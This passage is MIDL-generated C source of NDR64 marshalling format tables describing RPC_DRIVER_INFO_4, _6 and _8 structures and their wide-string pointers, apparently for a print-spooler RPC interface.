0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 88 /* 0x58 */\n    }\n};\n\nstatic const __midl_frag616_t __midl_frag616 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag617\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag614_t __midl_frag614 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 72 /* 0x48 */\n    }\n};\n\nstatic const __midl_frag613_t __midl_frag613 =\n{ \n/* *wchar_t */\n    { \n    /* *wchar_t */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 1 /* 0x1 */,\n        { \n        /* *wchar_t */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag614\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 2 /* 0x2 */,\n        &__midl_frag897\n    }\n};\n\nstatic const __midl_frag604_t __midl_frag604 =\n{ \n/* RPC_DRIVER_INFO_8 */\n    { \n    /* RPC_DRIVER_INFO_8 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_8 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 224 /* 0xe0 */,\n        0,\n        0,\n        &__midl_frag632,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag603_t __midl_frag603 =\n{ \n/* *RPC_DRIVER_INFO_8 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag604\n};\n\nstatic const __midl_frag602_t __midl_frag602 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    }\n};\n\nstatic const __midl_frag583_t __midl_frag583 =\n{ \n/* RPC_DRIVER_INFO_6 */\n    { \n    /* RPC_DRIVER_INFO_6 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_6 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 152 /* 0x98 */,\n        0,\n        0,\n        &__midl_frag602,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x7,    /* FC64_INT64 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag582_t __midl_frag582 =\n{ \n/* *RPC_DRIVER_INFO_6 */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag583\n};\n\nstatic const __midl_frag581_t __midl_frag581 =\n{ \n/*  */\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag947\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag613\n    },\n    { \n    /* *wchar_t */\n        0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag616\n    }\n};\n\nstatic const __midl_frag566_t __midl_frag566 =\n{ \n/* RPC_DRIVER_INFO_4 */\n    { \n    /* RPC_DRIVER_INFO_4 */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* RPC_DRIVER_INFO_4 */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 104 /* 0x68 */,\n        0,\n        0,\n        &__midl_frag581,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x5,    /* FC64_INT32 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            